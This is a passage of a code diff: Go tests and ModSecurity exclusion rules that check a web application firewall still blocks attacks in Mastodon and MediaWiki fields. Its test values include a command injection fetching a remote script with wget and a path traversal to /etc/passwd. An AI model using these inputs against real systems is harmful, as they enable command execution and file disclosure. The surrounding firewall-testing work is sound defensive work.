mastodonPassword = "user[password]="
|
||||||
|
mastodonStatus = "status="
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestOrdinaryMastodonRequestsPass(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
wantRecordedRequestsPass(t, "mastodon-requests.txt")
|
||||||
|
}
|
||||||
|
|
||||||
|
// mastodonQueryFields sends each field that skips 930120, 932120, 932250
|
||||||
|
// and 932260 in the query, on a path where it skips them, ending in "=".
|
||||||
|
//
|
||||||
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
|
var mastodonQueryFields = []string{
|
||||||
|
"/api/v1/accounts/search?q=",
|
||||||
|
"/api/v1/accounts/lookup?acct=",
|
||||||
|
"/api/v1/admin/accounts?username=",
|
||||||
|
"/api/v1/admin/accounts?display_name=",
|
||||||
|
"/api/v1/admin/accounts?email=",
|
||||||
|
"/api/v2/admin/accounts?origin=local&username=",
|
||||||
|
"/api/v2/admin/accounts?by_domain=",
|
||||||
|
"/admin/accounts?username=",
|
||||||
|
"/admin/accounts?display_name=",
|
||||||
|
"/admin/accounts?email=",
|
||||||
|
"/admin/instances?by_domain=",
|
||||||
|
"/admin/custom_emojis?shortcode=",
|
||||||
|
"/admin/tags?name=",
|
||||||
|
"/search?q=",
|
||||||
|
"/api/v2/search?q=",
|
||||||
|
"/api/v2/search?type=accounts&resolve=true&q=",
|
||||||
|
}
|
||||||
|
|
||||||
|
// mastodonBodyField is a field of a body, sent to a path with a method.
|
||||||
|
type mastodonBodyField struct{ method, target, field string }
|
||||||
|
|
||||||
|
// mastodonFormFields sends each field that skips the four rules in a form
|
||||||
|
// data body, on a path where it skips them.
|
||||||
|
//
|
||||||
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
|
var mastodonFormFields = []mastodonBodyField{
|
||||||
|
{http.MethodPost, mastodonStatuses, "spoiler_text="},
|
||||||
|
{http.MethodPost, mastodonStatuses, "poll[options][]="},
|
||||||
|
{http.MethodPut, "/api/v1/media/1", "description="},
|
||||||
|
{http.MethodPatch, mastodonProfile, "display_name="},
|
||||||
|
{http.MethodPatch, mastodonProfile, "note="},
|
||||||
|
{http.MethodPatch, mastodonProfile, "fields_attributes[0][name]="},
|
||||||
|
{http.MethodPatch, mastodonProfile, "fields_attributes[1][value]="},
|
||||||
|
{http.MethodPost, "/api/v1/lists", mastodonTitle},
|
||||||
|
{http.MethodPut, "/api/v1/lists/1", mastodonTitle},
|
||||||
|
{http.MethodPost, mastodonFilters, mastodonTitle},
|
||||||
|
{http.MethodPost, mastodonFilters, "keywords_attributes[][keyword]="},
|
||||||
|
{http.MethodPost, mastodonFilters, "keywords_attributes[0][keyword]="},
|
||||||
|
{http.MethodPost, mastodonFilters + "/1/keywords", "keyword="},
|
||||||
|
{http.MethodPost, "/api/v1/featured_tags", "name="},
|
||||||
|
{http.MethodPost, mastodonReports, mastodonComment},
|
||||||
|
{http.MethodPost, "/api/v1/accounts/1/note", mastodonComment},
|
||||||
|
{http.MethodPost, "/api/v1/admin/accounts/1/action", "text="},
|
||||||
|
{http.MethodPost, "/api/v1/admin/domain_blocks", "private_comment="},
|
||||||
|
{http.MethodPost, "/api/v1/admin/domain_blocks", "public_comment="},
|
||||||
|
{http.MethodPost, "/api/v1/admin/ip_blocks", mastodonComment},
|
||||||
|
{http.MethodPost, "/admin/domain_blocks", "domain_block[private_comment]="},
|
||||||
|
{http.MethodPost, "/admin/domain_blocks", "domain_block[public_comment]="},
|
||||||
|
{http.MethodPost, "/admin/ip_blocks", "ip_block[comment]="},
|
||||||
|
{http.MethodPost, mastodonRules, "rule[text]="},
|
||||||
|
{http.MethodPost, mastodonRules, "rule[hint]="},
|
||||||
|
{http.MethodPost, "/admin/announcements", "announcement[text]="},
|
||||||
|
{http.MethodPost, mastodonBranding, "form_admin_settings[site_title]="},
|
||||||
|
{http.MethodPost, mastodonBranding, "form_admin_settings[site_short_description]="},
|
||||||
|
{
|
||||||
|
http.MethodPost, "/admin/settings/about",
|
||||||
|
"form_admin_settings[site_extended_description]=",
|
||||||
|
},
|
||||||
|
{http.MethodPost, "/filters", "custom_filter[title]="},
|
||||||
|
{http.MethodPost, "/filters", "custom_filter[keywords_attributes][0][keyword]="},
|
||||||
|
{http.MethodPost, "/settings/applications", "doorkeeper_application[name]="},
|
||||||
|
{http.MethodPost, "/settings/applications", "doorkeeper_application[website]="},
|
||||||
|
{http.MethodPost, "/settings/aliases", "account_alias[acct]="},
|
||||||
|
{http.MethodPost, "/settings/migration", "account_migration[acct]="},
|
||||||
|
{http.MethodPost, mastodonSignIn, mastodonPassword},
|
||||||
|
{http.MethodPost, mastodonAccount, mastodonPassword},
|
||||||
|
{http.MethodPost, mastodonAccount, "user[password_confirmation]="},
|
||||||
|
{http.MethodPost, mastodonAccount, "user[current_password]="},
|
||||||
|
{http.MethodPost, mastodonAccount, "user[invite_request_attributes][text]="},
|
||||||
|
{http.MethodPost, "/admin/accounts/1/action", "admin_account_action[text]="},
|
||||||
|
{http.MethodPost, "/admin/report_notes", "report_note[content]="},
|
||||||
|
{
|
||||||
|
http.MethodPost, "/admin/account_moderation_notes",
|
||||||
|
"account_moderation_note[content]=",
|
||||||
|
},
|
||||||
|
{http.MethodPost, mastodonPresets, "account_warning_preset[title]="},
|
||||||
|
{http.MethodPost, mastodonPresets, "account_warning_preset[text]="},
|
||||||
|
{http.MethodPost, mastodonRoles, "user_role[name]="},
|
||||||
|
{http.MethodPost, mastodonTerms, "terms_of_service[text]="},
|
||||||
|
{http.MethodPost, mastodonTerms, "terms_of_service[changelog]="},
|
||||||
|
{http.MethodPost, "/settings/migration", "account_migration[current_password]="},
|
||||||
|
{
|
||||||
|
http.MethodPost, "/settings/migration/redirect",
|
||||||
|
"form_redirect[current_password]=",
|
||||||
|
},
|
||||||
|
{http.MethodPost, "/settings/delete", "form_delete_confirmation[password]="},
|
||||||
|
{http.MethodPost, mastodonSignUp, "password="},
|
||||||
|
{http.MethodPost, mastodonSignUp, "reason="},
|
||||||
|
}
|
||||||
|
|
||||||
|
// mastodonJSONFields sends each field that skips the four rules in a JSON
|
||||||
|
// body, on a path where it skips them, with %s for its value.
|
||||||
|
//
|
||||||
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
|
var mastodonJSONFields = []mastodonBodyField{
|
||||||
|
{http.MethodPost, mastodonStatuses, `{"spoiler_text":%s}`},
|
||||||
|
{http.MethodPost, mastodonStatuses, `{"poll":{"options":["Yes",%s]}}`},
|
||||||
|
{http.MethodPut, mastodonFilters + "/1", `{"title":%s}`},
|
||||||
|
{http.MethodPut, "/api/v1/media/1", `{"description":%s}`},
|
||||||
|
{
|
||||||
|
http.MethodPut, mastodonStatuses + "/1",
|
||||||
|
`{"media_attributes":[{"id":"1","description":%s}]}`,
|
||||||
|
},
|
||||||
|
{http.MethodPatch, mastodonEditor, `{"display_name":%s}`},
|
||||||
|
{http.MethodPatch, mastodonEditor, `{"note":%s}`},
|
||||||
|
{http.MethodPatch, mastodonEditor, `{"fields_attributes":[{"name":%s}]}`},
|
||||||
|
{http.MethodPatch, mastodonEditor, `{"fields_attributes":[{"value":%s}]}`},
|
||||||
|
{http.MethodPatch, mastodonProfile, `{"display_name":%s}`},
|
||||||
|
{http.MethodPatch, mastodonProfile, `{"note":%s}`},
|
||||||
|
{http.MethodPatch, mastodonProfile, `{"fields_attributes":[{"name":%s}]}`},
|
||||||
|
{http.MethodPatch, mastodonProfile, `{"fields_attributes":[{"value":%s}]}`},
|
||||||
|
{http.MethodPost, mastodonReports, `{"comment":%s}`},
|
||||||
|
{http.MethodPost, "/api/v1/accounts/1/note", `{"comment":%s}`},
|
||||||
|
{http.MethodPost, mastodonSignUp, `{"password":%s}`},
|
||||||
|
{http.MethodPost, mastodonSignUp, `{"reason":%s}`},
|
||||||
|
{http.MethodPost, "/inbox", `{"object":{"content":%s}}`},
|
||||||
|
{http.MethodPost, mastodonInbox, `{"object":{"contentMap":{"en":%s}}}`},
|
||||||
|
{http.MethodPost, mastodonInbox, `{"object":{"summary":%s}}`},
|
||||||
|
{http.MethodPost, mastodonInbox, `{"object":{"summaryMap":{"en":%s}}}`},
|
||||||
|
{http.MethodPost, "/ap/users/1/inbox", `{"object":{"name":%s}}`},
|
||||||
|
{http.MethodPost, mastodonInbox, `{"object":{"attachment":[{"name":%s}]}}`},
|
||||||
|
{http.MethodPost, mastodonInbox, `{"object":{"attachment":[{"value":%s}]}}`},
|
||||||
|
{http.MethodPost, mastodonInbox, `{"object":{"oneOf":[{"name":%s}]}}`},
|
||||||
|
{http.MethodPost, mastodonInbox, `{"object":{"anyOf":[{"name":%s}]}}`},
|
||||||
|
}
|
||||||
|
|
||||||
|
// mastodonStatusForms and mastodonStatusJSON send a post's text, which
|
||||||
|
// skips 932125, 932230 and 932235 too: in form data, and in JSON with %s
|
||||||
|
// for its value.
|
||||||
|
//
|
||||||
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
|
var (
|
||||||
|
mastodonStatusForms = []mastodonBodyField{
|
||||||
|
{http.MethodPost, mastodonStatuses, mastodonStatus},
|
||||||
|
{http.MethodPut, mastodonStatuses + "/1", mastodonStatus},
|
||||||
|
}
|
||||||
|
mastodonStatusJSON = []mastodonBodyField{
|
||||||
|
{http.MethodPost, mastodonStatuses, `{"status":%s}`},
|
||||||
|
{http.MethodPut, mastodonStatuses + "/1", `{"status":%s}`},
|
||||||
|
}
|
||||||
|
)
|
||||||
|
|
||||||
|
// mastodonForm returns what crs finds in value, sent in sent's form data
|
||||||
|
// field.
|
||||||
|
func mastodonForm(t *testing.T, sent mastodonBodyField, value string) int {
|
||||||
|
t.Helper()
|
||||||
|
|
||||||
|
r := request{sent.method, sent.target, []string{formData}}
|
||||||
|
got, _ := inspectBody(t, readingBodies(t), r, sent.field+value)
|
||||||
|
|
||||||
|
return got.Score
|
||||||
|
}
|
||||||
|
|
||||||
|
// mastodonJSON returns what crs finds in value, which is not escaped, sent
|
||||||
|
// in sent's JSON field.
|
||||||
|
func mastodonJSON(t *testing.T, sent mastodonBodyField, value string) int {
|
||||||
|
t.Helper()
|
||||||
|
|
||||||
|
quoted, err := json.Marshal(value)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
|
||||||
|
r := request{sent.method, sent.target, []string{jsonBody}}
|
||||||
|
got, _ := inspectBody(t, readingBodies(t), r, fmt.Sprintf(sent.field, quoted))
|
||||||
|
|
||||||
|
return got.Score
|
||||||
|
}
|
||||||
|
|
||||||
|
// mastodonAttacks are an SQL injection, a path traversal and a script
|
||||||
|
// injection, as a query value.
|
||||||
|
//
|
||||||
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
|
var mastodonAttacks = []string{
|
||||||
|
sqlInjection,
|
||||||
|
"..%2F..%2F..%2Fetc%2Fpasswd",
|
||||||
|
scriptInjection,
|
||||||
|
}
|
||||||
|
|
||||||
|
// mastodonScores returns what crs finds in value, escaped as a query value,
|
||||||
|
// sent in each field that skips the four rules: in the query, in form data
|
||||||
|
// and in JSON. Bodies are read whatever crs is. Each score is keyed by where
|
||||||
|
// value was sent.
|
||||||
|
func mastodonScores(
|
||||||
|
t *testing.T, crs *coreruleset.CoreRuleSet, value string,
|
||||||
|
) map[string]int {
|
||||||
|
t.Helper()
|
||||||
|
|
||||||
|
scores := map[string]int{}
|
||||||
|
|
||||||
|
for _, target := range mastodonQueryFields {
|
||||||
|
scores[target+value] = inspect(t, crs, get(target+value)).Score
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, sent := range slices.Concat(mastodonFormFields, mastodonStatusForms) {
|
||||||
|
scores[fmt.Sprintf("%v with %s", sent, value)] = mastodonForm(t, sent, value)
|
||||||
|
}
|
||||||
|
|
||||||
|
unescaped, err := url.QueryUnescape(value)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, sent := range slices.Concat(mastodonJSONFields, mastodonStatusJSON) {
|
||||||
|
scores[fmt.Sprintf("%v with %q", sent, unescaped)] = mastodonJSON(t, sent, unescaped)
|
||||||
|
}
|
||||||
|
|
||||||
|
return scores
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestMastodonAttacksAreRefusedInTheExcludedFields(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
for _, attack := range mastodonAttacks {
|
||||||
|
for sent, score := range mastodonScores(t, atDefaults(t), attack) {
|
||||||
|
if score < mastodonThreshold {
|
||||||
|
t.Errorf("%s let through: %d", sent, score)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// mastodonCommandAttack is a shell command that only 932230 and 932235
|
||||||
|
// refuse on the fields that skip the four rules.
|
||||||
|
const mastodonCommandAttack = "; wget http://example.com/x.sh"
|
||||||
|
|
||||||
|
func TestMastodonCommandAttackIsRefusedOutsideAPost(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
crs := atDefaults(t)
|
||||||
|
attack := url.QueryEscape(mastodonCommandAttack)
|
||||||
|
|
||||||
|
for _, target := range mastodonQueryFields {
|
||||||
|
if got := inspect(t, crs, get(target+attack)); got.Score < mastodonThreshold {
|
||||||
|
t.Errorf("%s%s let through: %+v", target, attack, got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, sent := range mastodonFormFields {
|
||||||
|
if mastodonForm(t, sent, attack) < mastodonThreshold {
|
||||||
|
t.Errorf("%v let through", sent)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, sent := range mastodonJSONFields {
|
||||||
|
if mastodonJSON(t, sent, mastodonCommandAttack) < mastodonThreshold {
|
||||||
|
t.Errorf("%v let through", sent)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// mastodonCodePost is a post that names commands in code, as recorded.
|
||||||
|
const mastodonCodePost = "Today I learned: `ls -la ~/.config` lists hidden files, " +
|
||||||
|
"and `python3 -m http.server` serves a folder. https://example.org/notes"
|
||||||
|
|
||||||
|
func TestMastodonHardValuesPassInTheExcludedFields(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
for _, value := range hardValues {
|
||||||
|
for sent, score := range mastodonScores(t, readingBodies(t), value) {
|
||||||
|
if score >= mastodonThreshold {
|
||||||
|
t.Errorf("%s refused: %d", sent, score)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
code := url.QueryEscape(mastodonCodePost)
|
||||||
|
|
||||||
|
for _, sent := range mastodonStatusForms {
|
||||||
|
if mastodonForm(t, sent, code) >= mastodonThreshold {
|
||||||
|
t.Errorf("%v refused", sent)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, sent := range mastodonStatusJSON {
|
||||||
|
if mastodonJSON(t, sent, mastodonCodePost) >= mastodonThreshold {
|
||||||
|
t.Errorf("%v refused", sent)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// mastodonUpload is a file named .htaccess in a multipart body.
|
||||||
|
const mastodonUpload = "--b\r\nContent-Disposition: form-data; name=\"file\"; " +
|
||||||
|
"filename=\"Example .htaccess.png\"\r\n\r\nx\r\n--b--\r\n"
|
||||||
|
|
||||||
|
// mastodonActivityPub is the Accept header of a server looking up a link to
|
||||||
|
// a profile or a post, as recorded.
|
||||||
|
const mastodonActivityPub = `Accept: application/ld+json; ` +
|
||||||
|
`profile="https://www.w3.org/ns/activitystreams", application/activity+json, ` +
|
||||||
|
`text/html;q=0.1`
|
||||||
|
|
||||||
|
// mastodonReport is a report as the web app sends it, with %s for its
|
||||||
|
// forward value.
|
||||||
|
const mastodonReport = `{"account_id":"1","comment":"Spam","forward":%s,` +
|
||||||
|
`"forward_to_domains":[]}`
|
||||||
|
|
||||||
|
// mastodonForwardedReport is a report the web app forwards to another
|
||||||
|
// server, with %s for that server.
|
||||||
|
const mastodonForwardedReport = `{"account_id":"1","comment":"Spam","forward":true,` +
|
||||||
|
`"forward_to_domains":[%s]}`
|
||||||
|
|
||||||
|
func TestMastodonExclusionsAreNarrow(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
crs := atDefaults(t)
|
||||||
|
|
||||||
|
for _, refused := range []string{
|
||||||
|
"/?q=powershell",
|
||||||
|
"/api/v2/search?other=python3",
|
||||||
|
"/api/v1/timelines/home?q=python3",
|
||||||
|
"/api/v1/admin/users?username=python3",
|
||||||
|
"/admin/people?username=python3",
|
||||||
|
"/admin/reports?username=python3",
|
||||||
|
"/search/other?q=python3",
|
||||||
|
"/x/api/v2/search?q=python3",
|
||||||
|
"/admin/accounts/1?username=python3",
|
||||||
|
} {
|
||||||
|
if got := inspect(t, crs, get(refused)); got.Score < mastodonThreshold {
|
||||||
|
t.Errorf("%s let through: %+v", refused, got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// The Accept header of ActivityPub is still refused off the paths of
|
||||||
|
// Mastodon's accounts and posts.
|
||||||
|
for _, target := range []string{"/@admin", "/@admin/1", "/users/admin/statuses/1"} {
|
||||||
|
wantResult(t, crs, get(target, mastodonActivityPub), matched())
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, target := range []string{"/", "/@admin/1/other", "/x/@admin"} {
|
||||||
|
wantResult(t, crs, get(target, mastodonActivityPub), matched(920600))
|
||||||
|
}
|
||||||
|
|
||||||
|
crs = readingBodies(t)
|
||||||
|
|
||||||
|
upload := request{
|
||||||
|
http.MethodPost, "/upload",
|
||||||
|
[]string{"Content-Type: multipart/form-data; boundary=b"},
|
||||||
|
}
|
||||||
|
|
||||||
|
got, _ := inspectBody(t, crs, upload, mastodonUpload)
|
||||||
|
if got.Score < mastodonThreshold {
|
||||||
|
t.Errorf("POST %s let through: %+v", upload.target, got)
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, target := range []string{
|
||||||
|
"/api/v1/media", "/api/v2/media", mastodonProfile, mastodonEditor,
|
||||||
|
} {
|
||||||
|
upload.target = target
|
||||||
|
|
||||||
|
got, _ := inspectBody(t, crs, upload, mastodonUpload)
|
||||||
|
if got.Score >= mastodonThreshold {
|
||||||
|
t.Errorf("POST %s refused: %+v", target, got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// The fields are excluded only on Mastodon's paths.
|
||||||
|
for _, sent := range []mastodonBodyField{
|
||||||
|
{http.MethodPost, "/api/v1/repos/issues", mastodonTitle},
|
||||||
|
{http.MethodPost, "/user/login", mastodonPassword},
|
||||||
|
{http.MethodPost, "/comments", mastodonStatus},
|
||||||
|
} {
|
||||||
|
if mastodonForm(t, sent, "python3") < mastodonThreshold {
|
||||||
|
t.Errorf("%v let through", sent)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, sent := range []mastodonBodyField{
|
||||||
|
{http.MethodPost, "/outbox", `{"object":{"content":%s}}`},
|
||||||
|
{http.MethodPost, mastodonInbox, `{"object":{"url":%s}}`},
|
||||||
|
} {
|
||||||
|
if mastodonJSON(t, sent, "python3") < mastodonThreshold {
|
||||||
|
t.Errorf("%v let through", sent)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestMastodonReportKeysPassByNameOnReportsOnly(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
// A report's forward keys pass by name, and their values are still
|
||||||
|
// checked.
|
||||||
|
for _, sent := range []struct{ body, value string }{
|
||||||
|
{mastodonReport, "false"},
|
||||||
|
{mastodonForwardedReport, "remote.example"},
|
||||||
|
} {
|
||||||
|
report := mastodonBodyField{http.MethodPost, mastodonReports, sent.body}
|
||||||
|
if got := mastodonJSON(t, report, sent.value); got >= mastodonThreshold {
|
||||||
|
t.Errorf("%v refused: %d", report, got)
|
||||||
|
}
|
||||||
|
|
||||||
|
if got := mastodonJSON(t, report, `"../../etc/passwd"`); got < mastodonThreshold {
|
||||||
|
t.Errorf("%v with a path let through: %d", report, got)
|
||||||
|
}
|
||||||
|
|
||||||
|
report.target = mastodonStatuses
|
||||||
|
if got := mastodonJSON(t, report, sent.value); got < mastodonThreshold {
|
||||||
|
t.Errorf("%v let through: %d", report, got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// mastodonUsername and mastodonHashtag are the sign-up form's username and
|
||||||
|
// the web app's featured hashtag, which skip only 932120 and 932260.
|
||||||
|
//
|
||||||
|
//nolint:gochecknoglobals // a struct cannot be a constant
|
||||||
|
var (
|
||||||
|
mastodonUsername = mastodonBodyField{
|
||||||
|
http.MethodPost, mastodonAccount, "user[account_attributes][username]=",
|
||||||
|
}
|
||||||
|
mastodonHashtag = mastodonBodyField{
|
||||||
|
http.MethodPost, "/api/v1/featured_tags", `{"name":%s}`,
|
||||||
|
}
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestMastodonUsernamesAndHashtagsSkipOnlyTwoRules(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
// python3 and powershell can be a username or a hashtag; ls -la and
|
||||||
|
// .htaccess cannot.
|
||||||
|
passes, refused := hardValues[:2], hardValues[2:]
|
||||||
|
|
||||||
|
for _, value := range passes {
|
||||||
|
if mastodonForm(t, mastodonUsername, value) >= mastodonThreshold {
|
||||||
|
t.Errorf("username %s refused", value)
|
||||||
|
}
|
||||||
|
|
||||||
|
if mastodonJSON(t, mastodonHashtag, value) >= mastodonThreshold {
|
||||||
|
t.Errorf("hashtag %s refused", value)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, value := range slices.Concat(
|
||||||
|
refused, mastodonAttacks, []string{url.QueryEscape(mastodonCommandAttack)},
|
||||||
|
) {
|
||||||
|
if mastodonForm(t, mastodonUsername, value) < mastodonThreshold {
|
||||||
|
t.Errorf("username %s let through", value)
|
||||||
|
}
|
||||||
|
|
||||||
|
unescaped, err := url.QueryUnescape(value)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
|
||||||
|
if mastodonJSON(t, mastodonHashtag, unescaped) < mastodonThreshold {
|
||||||
|
t.Errorf("hashtag %q let through", unescaped)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Elsewhere both keep the two rules.
|
||||||
|
signIn := mastodonBodyField{http.MethodPost, mastodonSignIn, mastodonUsername.field}
|
||||||
|
if mastodonForm(t, signIn, "python3") < mastodonThreshold {
|
||||||
|
t.Errorf("%v let through", signIn)
|
||||||
|
}
|
||||||
|
|
||||||
|
statuses := mastodonBodyField{http.MethodPost, mastodonStatuses, mastodonHashtag.field}
|
||||||
|
if mastodonJSON(t, statuses, "python3") < mastodonThreshold {
|
||||||
|
t.Errorf("%v let through", statuses)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestMastodonBodyFieldsStayCheckedInTheQuery(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
crs := readingBodies(t)
|
||||||
|
|
||||||
|
// The same field name in the query keeps the rules, in the query and
|
||||||
|
// in the body.
|
||||||
|
for _, sent := range []struct{ target, field string }{
|
||||||
|
{mastodonStatuses, mastodonStatus + "python3"},
|
||||||
|
{mastodonStatuses, "spoiler_text=python3"},
|
||||||
|
{mastodonRules, "rule[text]=python3"},
|
||||||
|
{mastodonRoles, "user_role[name]=python3"},
|
||||||
|
{mastodonSignIn, mastodonPassword + "python3"},
|
||||||
|
{mastodonSignUp, "password=python3"},
|
||||||
|
{mastodonInbox, "json.object.content=python3"},
|
||||||
|
} {
|
||||||
|
target := sent.target + "?" + sent.field
|
||||||
|
r := request{http.MethodPost, target, []string{formData}}
|
||||||
|
|
||||||
|
got, _ := inspectBody(t, crs, r, sent.field)
|
||||||
|
if got.Score < mastodonThreshold {
|
||||||
|
t.Errorf("POST %s let through: %+v", r.target, got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -5,8 +5,8 @@
|
|||||||
# request, before the rules it switches off, so this file is loaded before the
|
# request, before the rules it switches off, so this file is loaded before the
|
||||||
# Core Rule Set's rules. Each comment names a request a rule refused. An
|
# Core Rule Set's rules. Each comment names a request a rule refused. An
|
||||||
# exclusion on a field of a body applies only when the query has no parameter of
|
# exclusion on a field of a body applies only when the query has no parameter of
|
||||||
# that name, so it matters only while SWW_WAF_BODY_LIMIT is set. MediaWiki's
|
# that name, so it matters only while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set.
|
||||||
# paths are matched at the site root and under /w/.
|
# MediaWiki's paths are matched at the site root and under /w/.
|
||||||
#
|
#
|
||||||
# WordPress serves /index.php too. So /index.php counts as MediaWiki's only
|
# WordPress serves /index.php too. So /index.php counts as MediaWiki's only
|
||||||
# with a page title, in the query or after the path:
|
# with a page title, in the query or after the path:
|
||||||
@@ -15,7 +15,7 @@
|
|||||||
# Pages under /wiki/ need neither.
|
# Pages under /wiki/ need neither.
|
||||||
#
|
#
|
||||||
# Four rules read a search, a title or a name as a command or a system file.
|
# Four rules read a search, a title or a name as a command or a system file.
|
||||||
# Each exclusion below for such a field removes these four, and only these:
|
# Each exclusion below for such a field removes these four:
|
||||||
# 930120: .htaccess
|
# 930120: .htaccess
|
||||||
# 932120: powershell
|
# 932120: powershell
|
||||||
# 932250: ls -la
|
# 932250: ls -la
|
||||||
@@ -179,21 +179,34 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
|
|||||||
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:wpreason-other|user-reason|mwprotect-reason)$/"
|
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:wpreason-other|user-reason|mwprotect-reason)$/"
|
||||||
|
|
||||||
# Special:EditWatchlist/raw sends the watched titles in wpTitles, one per
|
# Special:EditWatchlist/raw sends the watched titles in wpTitles, one per
|
||||||
# line. A title at the start of a line reads as a command to 932125, 932230,
|
# line. Watchlists holding "Lighthouse notes" and then one of these titles
|
||||||
# 932235 and 932380, so wpTitles skips those as well as the four rules:
|
# were refused:
|
||||||
# "Lighthouse notes", "Python3 notes", "Ls -la notes" and ".htaccess notes"
|
# "Python3 notes", "Powershell notes", "Ls -la notes" and ".htaccess notes"
|
||||||
# The only rules that refuse "; wget http://example.com/x.sh" in wpTitles are
|
# wpTitles always skips 930120, 932120 and 932250. Rule 900916 below skips
|
||||||
# 932235 and 932260, so that command passes there. Commands with $(...) or a
|
# 932125, 932230, 932235, 932260 and 932380 only when wpTitles holds no ";",
|
||||||
# shell path such as /bin/sh are still refused.
|
# "|", "&", backtick or "{", so "; wget http://example.com/x.sh" is still
|
||||||
|
# refused. A watchlist that mixes a title holding one of these with a title
|
||||||
|
# starting with a command name is refused too.
|
||||||
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
|
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
|
||||||
"id:900915,phase:1,pass,nolog,chain"
|
"id:900915,phase:1,pass,nolog,chain"
|
||||||
SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain"
|
SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain"
|
||||||
SecRule &ARGS_GET:wpTitles "@eq 0" \
|
SecRule &ARGS_GET:wpTitles "@eq 0" \
|
||||||
"ctl:ruleRemoveTargetById=930120;ARGS:wpTitles,\
|
"ctl:ruleRemoveTargetById=930120;ARGS:wpTitles,\
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:wpTitles,\
|
ctl:ruleRemoveTargetById=932120;ARGS:wpTitles,\
|
||||||
ctl:ruleRemoveTargetById=932125;ARGS:wpTitles,\
|
ctl:ruleRemoveTargetById=932250;ARGS:wpTitles"
|
||||||
|
|
||||||
|
# This rule is in phase 2, because a phase 1 rule runs before the body is read
|
||||||
|
# and cannot see what wpTitles holds. It checks that the body sends wpTitles
|
||||||
|
# once, since it would otherwise skip these rules for a second wpTitles
|
||||||
|
# holding a command.
|
||||||
|
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
|
||||||
|
"id:900916,phase:2,pass,nolog,chain"
|
||||||
|
SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain"
|
||||||
|
SecRule &ARGS_GET:wpTitles "@eq 0" "chain"
|
||||||
|
SecRule &ARGS_POST:wpTitles "@eq 1" "chain"
|
||||||
|
SecRule ARGS_POST:wpTitles "!@rx [;|&`{]" \
|
||||||
|
"ctl:ruleRemoveTargetById=932125;ARGS:wpTitles,\
|
||||||
ctl:ruleRemoveTargetById=932230;ARGS:wpTitles,\
|
ctl:ruleRemoveTargetById=932230;ARGS:wpTitles,\
|
||||||
ctl:ruleRemoveTargetById=932235;ARGS:wpTitles,\
|
ctl:ruleRemoveTargetById=932235;ARGS:wpTitles,\
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:wpTitles,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:wpTitles,\
|
ctl:ruleRemoveTargetById=932260;ARGS:wpTitles,\
|
||||||
ctl:ruleRemoveTargetById=932380;ARGS:wpTitles"
|
ctl:ruleRemoveTargetById=932380;ARGS:wpTitles"
|
||||||
@@ -6,7 +6,7 @@ import (
|
|||||||
"testing"
|
"testing"
|
||||||
)
|
)
|
||||||
|
|
